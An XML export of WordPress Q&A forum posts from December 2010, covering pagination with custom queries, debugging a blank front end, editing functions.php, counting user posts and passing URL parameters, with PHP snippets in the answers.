  <row Id="5752" PostTypeId="1" AcceptedAnswerId="5773" CreationDate="2010-12-22T00:06:03.243" Score="0" ViewCount="347" Body="&lt;p&gt;I would like to know why my page navigation within a particular category doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code seems correct but I never see the pagination links.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; $my_query = new WP_Query('cat=18&amp;amp;showposts=8');&#xA; while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post();&#xA;?&amp;gt;&#xA; &amp;lt;article id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;&#xA;  &amp;lt;?php the_content(); ?&amp;gt;&#xA;&#xA; &amp;lt;/article&amp;gt;&amp;lt;!-- #post-&amp;lt;?php the_ID(); ?&amp;gt; --&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php if (  $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA; &amp;lt;nav id=&quot;nav-below&quot;&amp;gt;&#xA;  &amp;lt;h1 class=&quot;section-heading&quot;&amp;gt;&amp;lt;?php _e( 'Post navigation', 'themename' ); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&amp;lt;?php next_posts_link( __( '&amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;larr;&amp;lt;/span&amp;gt; Older posts', 'themename' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&amp;lt;?php previous_posts_link( __( 'Newer posts &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'themename' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA; &amp;lt;/nav&amp;gt;&amp;lt;!-- #nav-below --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-12-22T09:11:04.190" Title="Page navigation within a category" Tags="&lt;categories&gt;&lt;pagination&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="5753" PostTypeId="2" ParentId="5742" CreationDate="2010-12-22T00:08:14.360" Score="0" ViewCount="" Body="&lt;p&gt;a easy way is the &lt;a href=&quot;http://wordpress.org/extend/plugins/author-slug/&quot; rel=&quot;nofollow&quot;&gt;plugin Author Slug&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can use small code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'set_new_author_base');&#xA;function set_new_author_base() {&#xA;    global $wp_rewrite;&#xA;    $author_slug = 'new_slug';&#xA;    $wp_rewrite-&amp;gt;author_base = $author_slug;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-12-22T00:08:14.360" CommentCount="1" />
  <row Id="5754" PostTypeId="1" CreationDate="2010-12-22T00:37:42.850" Score="0" ViewCount="75" Body="&lt;p&gt;My customer's site was working last night. Today nothing displays from the front end. Firebug gives  as the contents of the home page. I logged in. The back end looks fine. The most recent post (added yesterday some time) is there. I looked (briefly) at index.php, wp-blogheader.php, wp-config.php. They all look right at first glance. No obvious problem like the file being deleted or contents munged or the like. I looked at the database with phpmyadmin. The obvious options (home, etc.) look ok. The numbers of pages and posts etc. look OK. Which is consistent with the back end looking right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running WP 2.9.2 and Semio Reloaded 0.9.2, Version Checker 2.1.5 active. All plugins updated according to version checker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know what might be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible clue based on &quot;what did you do recently?&quot;... I deleted an old (2.8.?) WP install from a different directory/folder. The deleted install was in /news2/. The current one is served from /news/. The databases for both installs were in the same MySQL db. The old deleted one had &quot;wp_&quot; as the table prefix. The current one has &quot;asepco_&quot; as the table prefix. Again, a look at the db using phpmyadmin shows that both sets of data are there, and nothing obvious seems amiss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any &quot;did you look at ...&quot; type suggestions would be welcome. I'm a bit stumped right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Denny &lt;/p&gt;&#xA;" LastActivityDate="2010-12-22T02:39:27.170" Title="Front end empty (i.e. nothing displays); Back end looks fine; What are possible causes?" Tags="&lt;errors&gt;&lt;debug&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="5755" PostTypeId="1" AcceptedAnswerId="5855" CreationDate="2010-12-22T01:56:15.297" Score="-2" ViewCount="264" Body="&lt;p&gt;Does anyone know how the navigation on this site was made?&lt;br&gt;&#xA;&lt;a href=&quot;http://www.thinkingforaliving.org&quot; rel=&quot;nofollow&quot;&gt;http://www.thinkingforaliving.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2106" LastActivityDate="2010-12-23T16:01:40.267" Title="How is this sliding/scrolling navigation made?" Tags="&lt;plugins&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="5756" PostTypeId="2" ParentId="5755" CreationDate="2010-12-22T02:00:26.873" Score="1" ViewCount="" Body="&lt;p&gt;Its jquery, dont think there is a plugin for it. There are a handful of them here&#xA;&lt;a href=&quot;http://vandelaydesign.com/blog/web-development/jquery-image-galleries/&quot; rel=&quot;nofollow&quot;&gt;http://vandelaydesign.com/blog/web-development/jquery-image-galleries/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2010-12-22T02:00:26.873" />
  <row Id="5757" PostTypeId="2" ParentId="5755" CreationDate="2010-12-22T02:28:52.783" Score="0" ViewCount="" Body="&lt;p&gt;Agreed it's something straightforward like JQuery. Actually very easy to do within WP.&lt;/p&gt;&#xA;" OwnerUserId="1288" LastActivityDate="2010-12-22T02:28:52.783" />
  <row Id="5758" PostTypeId="1" CreationDate="2010-12-22T02:32:30.393" Score="1" ViewCount="404" Body="&lt;p&gt;I would like to update the coding on the wp-admin-bar. Since its positioned absolute, I would like to put a div around it that is relative and or just in a normal div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, I see you can hide the bar, does anyone have link structure for the admin bar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://www.siteurl.com/members/%username%/&quot;&amp;gt;My Account&amp;lt;/a&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T23:27:11.777" LastActivityDate="2011-09-05T09:43:04.747" Title="How do you customize the admin bar for buddypress?" Tags="&lt;css&gt;&lt;buddypress&gt;&lt;navigation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="5759" PostTypeId="2" ParentId="5754" CreationDate="2010-12-22T02:39:27.170" Score="2" ViewCount="" Body="&lt;p&gt;Have you tried the default theme? Does that work?&#xA;Did you change the wp-content folder to something else?&lt;/p&gt;&#xA;" OwnerUserId="1288" LastActivityDate="2010-12-22T02:39:27.170" CommentCount="2" />
  <row Id="5760" PostTypeId="2" ParentId="5744" CreationDate="2010-12-22T03:15:09.690" Score="2" ViewCount="" Body="&lt;p&gt;The key word in the GPL is &quot;distribute to&quot;. If you haven't distributed your theme to me, I've no right to see the slightest bit of its code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you give or sell it to me however, I'm entitled to the (php) source; and I can redistribute it as I see fit.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-22T03:15:09.690" CommentCount="6" />
  <row Id="5761" PostTypeId="1" AcceptedAnswerId="5771" CreationDate="2010-12-22T03:52:26.267" Score="0" ViewCount="182" Body="&lt;p&gt;I am trying to display different things to new users that have not created a post versus users who have created a post.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this, but it did not work for custom post types (only normal posts) and it does not account for drafts or pending posts: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (count_user_posts(1)&amp;gt;=1) { blah blah blah } else {Welcome, blah blah blah }; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2107" LastEditorUserId="2107" LastEditorDisplayName="" LastEditDate="2010-12-22T03:59:01.593" LastActivityDate="2011-01-05T06:09:58.570" Title="Display text if current user has written 1 or more posts in a custom post type" Tags="&lt;custom-post-types&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="5762" PostTypeId="2" ParentId="5565" CreationDate="2010-12-22T04:01:59.423" Score="1" ViewCount="" Body="&lt;p&gt;So it turns out the difference between the working site and the broken site was actually in the code (thank god).  'query_var' needs to be set to =&gt; &quot;true&quot;.  There's still a little funkiness, where posts with the same name (but different parents and thus different permalinks) seem like they auto direct to the earliest instance -- but that's fixable by adding a prefix in the permalink edit section of the write screen.   For ease of others, here's how I'm registering the post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;register_post_type('book', array(&#xA;    'label' =&gt; __('Books'),&#xA;    'singular_label' =&gt; __('Book'),&#xA;    'public' =&gt; true,&#xA;    'show_ui' =&gt; true,&#xA;    '_builtin' =&gt; false, // It's a custom post type, not built in!&#xA;    '_edit_link' =&gt; 'post.php?post=%d',&#xA;    'capability_type' =&gt; 'post',&#xA;    'hierarchical' =&gt; true,&#xA;    'rewrite' =&gt; array(&quot;slug&quot; =&gt; &quot;book&quot;), // Permalinks format&#xA;    'query_var' =&gt; false,&#xA;    'supports' =&gt; array('title', 'editor', 'comments','thumbnail','page-attributes')&#xA;));&#xA;&#xA;&#xA;add_action( 'init', 'create_book_taxonomies', 0 );&#xA;function create_book_taxonomies() {&#xA;    register_taxonomy( 'format', 'book', array( 'hierarchical' =&gt; true, 'label' =&gt; &#xA;        __('Formats', 'series'), 'query_var' =&gt; 'format' ) );&#xA;&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;M&lt;/p&gt;&#xA;" LastActivityDate="2010-12-22T04:01:59.423" />
  <row Id="5763" PostTypeId="2" ParentId="5761" CreationDate="2010-12-22T04:53:59.413" Score="1" ViewCount="" Body="&lt;p&gt;see &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file/4167#4167&quot;&gt;Best Collection of Code for your functions.php file&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function atom_count($user_id, $what_to_count = 'post') {&#xA;  global $wpdb;    &#xA;  $where = $what_to_count == 'comment' ? &quot;WHERE comment_approved = 1 AND user_id = {$user_id}&quot; : get_posts_by_author_sql($what_to_count, TRUE, $user_id);&#xA;  $from = &quot;FROM &quot;.(($what_to_count == 'comment') ? $wpdb-&amp;gt;comments : $wpdb-&amp;gt;posts);    &#xA;  $count = $wpdb-&amp;gt;get_var($wpdb-&amp;gt;prepare(&quot;SELECT COUNT(*) {$from} {$where}&quot;));&#xA;  return $count;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want this to count all posts, regardless of the type, and status, change &lt;code&gt;get_posts_by_author_sql()&lt;/code&gt; with &lt;code&gt;&quot;WHERE post_author = '{$user_id}'&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;didn't test that, but it should work...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2010-12-22T05:02:38.173" LastActivityDate="2010-12-22T05:02:38.173" CommentCount="3" />
  <row Id="5764" PostTypeId="1" CreationDate="2010-12-22T05:50:14.667" Score="1" ViewCount="133" Body="&lt;p&gt;I really appreciate everyone on this site who takes the time to answer questions here. I've learned a good deal already reading, but am sure I could learn even more if I could get past at least one basic question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just like the &quot;Best Collection of code for your functions.php file&quot; post on this site, which has some outstanding tips, there are many great ideas for development without weighting things down with plugins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trouble for me is, I clearly don't know enough about what I'm doing because anytime I've tried to add code to the functions.php file...I break my site. I am clearly placing it incorrectly and there is probably a step missing in the process as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I obviously know just enough to be dangerous. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done a lot of googling with variations on &quot;how to properly edit functions.php&quot; but I can't find a &quot;101&quot; version anywhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on this would be appreciated, thanks!&lt;/p&gt;&#xA;" LastActivityDate="2010-12-22T07:28:09.433" Title="VERY new to coding - keep breaking site trying to add to functions.php" Tags="&lt;functions&gt;&lt;editor&gt;&lt;code&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="5765" PostTypeId="2" ParentId="5750" CreationDate="2010-12-22T06:07:57.837" Score="3" ViewCount="" Body="&lt;p&gt;As the &lt;a href=&quot;http://farinspace.com/about/&quot; rel=&quot;nofollow&quot;&gt;author&lt;/a&gt; of &lt;a href=&quot;http://farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;WPAlchemy&lt;/a&gt;, I'm a bit bias, but you essentially have a good working model outlined to follow depending on what ever route you choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if using WPAlchemy, you would basically do something like the following (step #2):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//  functions.php&#xA;&#xA;include_once 'WPAlchemy/MetaBox.php';&#xA;&#xA;if (is_admin()) &#xA;{&#xA;    // a custom style sheet if you want to do some fancy styling for your form&#xA;    wp_enqueue_style('custom_meta_css', TEMPLATEPATH . '/custom/meta.css');&#xA;}&#xA;&#xA;// define the meta box&#xA;$custom_metabox = new WPAlchemy_MetaBox(array&#xA;(&#xA;    'id' =&amp;gt; '_custom_meta',&#xA;    'title' =&amp;gt; 'My Custom Meta',&#xA;    'template' =&amp;gt; TEMPLATEPATH . '/custom/meta.php'&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;custom/meta.css&lt;/code&gt; can contain styles that you can style your form with and &lt;code&gt;custom/meta.php&lt;/code&gt; is essentially an HTML file with the FORM contents of the meta box, in this case your drop down, to generate your drop down you would do a custom wp query to get all your custom post types. WPAlchemy has some special helper functions to aid in creating your form elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is additional &lt;a href=&quot;http://farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; to assist you when working in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main goal of WPAlchemy was to keep control in the hands of the developer, from styling (look + feel) to meta box content definition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And myself and others are always willing to help those who comment and ask questions.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2010-12-22T06:07:57.837" CommentCount="1" />
  <row Id="5766" PostTypeId="2" ParentId="5748" CreationDate="2010-12-22T06:58:03.613" Score="2" ViewCount="" Body="&lt;p&gt;Codex has decent guide - &lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL&quot; rel=&quot;nofollow&quot;&gt;Changing Site URL&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically there are several places there URL matter or not so much (I may be missing some):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;home&lt;/code&gt; and &lt;code&gt;siteurl&lt;/code&gt; options that control where WP thinks site is;&lt;/li&gt;&#xA;&lt;li&gt;post GUIDs, these look like links but really they aren't - only identifiers. I am not absolutely sure they are irrelevant, but I had URLs change on test stack a lot and never bothered to update these.&lt;/li&gt;&#xA;&lt;li&gt;links in post bodies;&lt;/li&gt;&#xA;&lt;li&gt;possibly links in plugin settings.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-22T06:58:03.613" />
  <row Id="5767" PostTypeId="2" ParentId="5752" CreationDate="2010-12-22T07:05:32.533" Score="1" ViewCount="" Body="&lt;p&gt;Where are you trying to do this? Which context (page, archive, etc) / template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Posts links functions pull info from global variables. Code you posted uses its own query object, which doesn't affect global variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are doing this in archive's page template and want to change main Loop then you should use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;query_posts()&lt;/code&gt;&lt;/a&gt; function instead of query object.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-22T07:05:32.533" />
  <row Id="5768" PostTypeId="2" ParentId="5748" CreationDate="2010-12-22T07:16:36.477" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Cristian:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look my answer to this question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production/182#182&quot;&gt;&lt;strong&gt;Easily Move a WordPress Install from Development to Production?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It addresses your issues with cleaning up data and can be customized for specific data migration needs by using using hooks, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-22T07:16:36.477" />
  <row Id="5769" PostTypeId="2" ParentId="5764" CreationDate="2010-12-22T07:26:06.347" Score="2" ViewCount="" Body="&lt;p&gt;Do you have proper PHP tags in your &lt;code&gt;functions.php&lt;/code&gt; file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File starts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// stuff goes here&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;File ends.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-22T07:26:06.347" CommentCount="2" />
  <row Id="5770" PostTypeId="2" ParentId="5764" CreationDate="2010-12-22T07:28:09.433" Score="6" ViewCount="" Body="&lt;p&gt;First of all, make sure you try things out in a development environment on your own PC. This way you can try things out without breaking your live site. &lt;a href=&quot;http://www.apachefriends.org/en/xampp.html&quot; rel=&quot;nofollow&quot;&gt;The XAMPP package&lt;/a&gt; contains everything you need to run it on your own Windows, Mac, Linux or Solaris machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, enable debugging mode by &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Debug&quot; rel=&quot;nofollow&quot;&gt;setting &lt;code&gt;WP_DEBUG&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; in your &lt;code&gt;wp-config.php&lt;/code&gt;&lt;/a&gt;. You need this to display errors, otherwise you get the infamous &quot;white screen of death&quot; (basically WordPress ran into an error, but for security reasons doesn't show everyone what it is, leaving you to wonder what went wrong).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this basic setup you can start playing with &lt;code&gt;functions.php&lt;/code&gt;. Make sure you don't add an ending &lt;code&gt;?&amp;gt;&lt;/code&gt; tag: PHP doesn't need it, and you might inadvertently add a blank line after it, which will start the output and prevent sending HTTP headers later (for redirection or cookies, like on login). So your file starts with &lt;code&gt;&amp;lt;?php&lt;/code&gt;, and then contains only PHP code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also a good idea to disable all other plugins and use a basic theme. This way, you can be sure you are the only using the different hooks. Or if you use plugins, enable them one by one and test your site at each step, so you know what plugin causes an error. (Enabling &lt;code&gt;WP_DEBUG&lt;/code&gt; might show you many notices indicating sloppy coding style, even in &quot;official&quot; plugins - these do not always lead to errors, but they don't improve your confidence in the code.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this you should follow the specific error messages you get. I also use &lt;a href=&quot;http://www.xdebug.org/&quot; rel=&quot;nofollow&quot;&gt;the Xdebug PHP extension&lt;/a&gt; to get easy-readable traces of error messages, and I recommend you do it too.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-22T07:28:09.433" CommentCount="4" />
  <row Id="5771" PostTypeId="2" ParentId="5761" CreationDate="2010-12-22T07:43:13.670" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Carson:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple function to address what you are asking for might be the function &lt;code&gt;yoursite_user_has_posts()&lt;/code&gt; which leverages the built in &lt;code&gt;WP_Query&lt;/code&gt; class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function yoursite_user_has_posts($user_id) {&#xA;  $result = new WP_Query(array(&#xA;    'author'=&amp;gt;$user_id,&#xA;    'post_type'=&amp;gt;'any',&#xA;    'post_status'=&amp;gt;'publish',&#xA;    'posts_per_page'=&amp;gt;1,&#xA;  ));&#xA;  return (count($result-&amp;gt;posts)!=0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then call it from your theme like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$user = wp_get_current_user();&#xA;if ($user-&amp;gt;ID)&#xA;  if (yoursite_user_has_posts($user-&amp;gt;ID))&#xA;    echo 'Thank you for writing!';&#xA;  else&#xA;    echo 'Get Writing!';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-05T06:09:58.570" LastActivityDate="2011-01-05T06:09:58.570" CommentCount="10" />
  <row Id="5772" PostTypeId="2" ParentId="1567" CreationDate="2010-12-22T08:46:37.497" Score="5" ViewCount="" Body="&lt;h2&gt;Remove default fields contact info user profile and replace them with something more usable&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The second part of this function has already been mentioned above, but removing the default fields - AIM, Yahoo IM and Jabber/Google Talk - not yet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function update_contact_methods( $contactmethods ) {&#xA;&#xA;// Remove annoying and unwanted default fields  &#xA;unset($contactmethods['aim']);  &#xA;unset($contactmethods['jabber']);  &#xA;unset($contactmethods['yim']);  &#xA;&#xA;// Add new fields  &#xA;$contactmethods['phone'] = 'Phone';  &#xA;$contactmethods['mobile'] = 'Mobile';  &#xA;$contactmethods['address'] = 'Address';  &#xA;&#xA;return $contactmethods;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course you can add as many fields as you want (see previous examples earlier in this thread) under &quot;Add new fields&quot;&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2010-12-22T08:46:37.497" CommunityOwnedDate="2010-12-22T08:46:37.497" />
  <row Id="5773" PostTypeId="2" ParentId="5752" CreationDate="2010-12-22T09:11:04.190" Score="0" ViewCount="" Body="&lt;p&gt;For this particular problem you need to change this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (  $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (  $my_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, like Rarst said, if you're looking to change the &quot;main&quot; query, then &lt;code&gt;query_posts&lt;/code&gt; is really what you're looking for, and the change above wouldn't be required under those conditions(simply update your query to call &lt;code&gt;query_posts&lt;/code&gt; and not &lt;code&gt;WP_Query&lt;/code&gt;). It's hard to tell what you're doing just from what's posted though, so if you're unsure, just make the above change.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-22T09:11:04.190" />
  <row Id="5774" PostTypeId="2" ParentId="5675" CreationDate="2010-12-22T09:21:07.217" Score="-1" ViewCount="" Body="&lt;p&gt;@user2078 - in multisite you can change &lt;strong&gt;all&lt;/strong&gt; such content via Super Admin - Options then scroll down to New Site Settings&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2010-12-22T09:21:07.217" />
  <row Id="5775" PostTypeId="1" AcceptedAnswerId="5776" CreationDate="2010-12-22T09:43:56.277" Score="1" ViewCount="255" Body="&lt;p&gt;What is the best way to pass arguments to another page in wordpress.&#xA;I did it this way :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;get_permalinka(id_of_page).'/&amp;amp;i=2&amp;amp;j=3&amp;amp;k=4'&quot;&amp;gt;Link/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this arguments with $_GET['i'],$_GET['j'],$_GET['k'],problem is : this works just with default permalinks,but when I change it to some other permalink type,it does not work any more.Note - I'm passing these arguments from homepage to another page(template page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time.&lt;/p&gt;&#xA;" OwnerUserId="1147" LastEditorUserId="1147" LastEditorDisplayName="" LastEditDate="2010-12-22T10:03:02.937" LastActivityDate="2011-08-20T15:11:24.377" Title="Best way to pass arguments to another page in Wordpress" Tags="&lt;3.0&gt;&lt;functions&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="5776" PostTypeId="2" ParentId="5775" CreationDate="2010-12-22T10:01:04.640" Score="2" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_query_arg&quot; rel=&quot;nofollow&quot;&gt;add_query_arg()&lt;/a&gt; to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a useful function if you need to get the current page URL (when get_permalink is inaccesible, like on Archives):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_current_page_url() {&#xA;  $request = esc_url($_SERVER[&quot;REQUEST_URI&quot;]);&#xA;&#xA;  $pageURL = (is_ssl() ? 'https' : 'http').'://';&#xA;  if ($_SERVER[&quot;SERVER_PORT&quot;] != &quot;80&quot;) $pageURL .= $_SERVER[&quot;SERVER_NAME&quot;].&quot;:&quot;.$_SERVER[&quot;SERVER_PORT&quot;].$request; else $pageURL .= $_SERVER[&quot;SERVER_NAME&quot;].$request;&#xA;&#xA;  if (false === strpos(get_option('home'), '://www.')) $pageURL = str_replace('://www.', '://', $pageURL);&#xA;  if (false !== strpos(get_option('home'), '://www.') &amp;amp;&amp;amp; false === strpos($pageURL, '://www.')) $pageURL = str_replace('://', '://www.', $pageURL);&#xA;&#xA;  return $pageURL;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-22T10:01:04.640" CommentCount="6" />
  <row Id="5777" PostTypeId="1" AcceptedAnswerId="5790" CreationDate="2010-12-22T10:36:48.603" Score="10" ViewCount="560" Body="&lt;p&gt;I see a lot of plugins making use of object-oriented coding when there isn't really necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what's even worse is that theme developers are starting to do the same thing. Commercial themes and free popular themes like Suffusion, even my favorite theme - Hybrid, stuff all their functions inside a class, instantiate it once in functions.php and run its functions in a procedural manner :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wtf? What's the point of doing this? Obviously you won't be using two or more instances of the same theme, at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume that the plugins do this for the namespace (which is ridiculous), but what's the theme excuse? Am I missing something? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the advantage of coding a theme like this?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2010-12-22T10:52:26.357" LastActivityDate="2011-04-26T01:37:38.573" Title="Using OOP in themes" Tags="&lt;themes&gt;&lt;php&gt;&lt;oop&gt;" AnswerCount="6" CommentCount="10" FavoriteCount="5" />
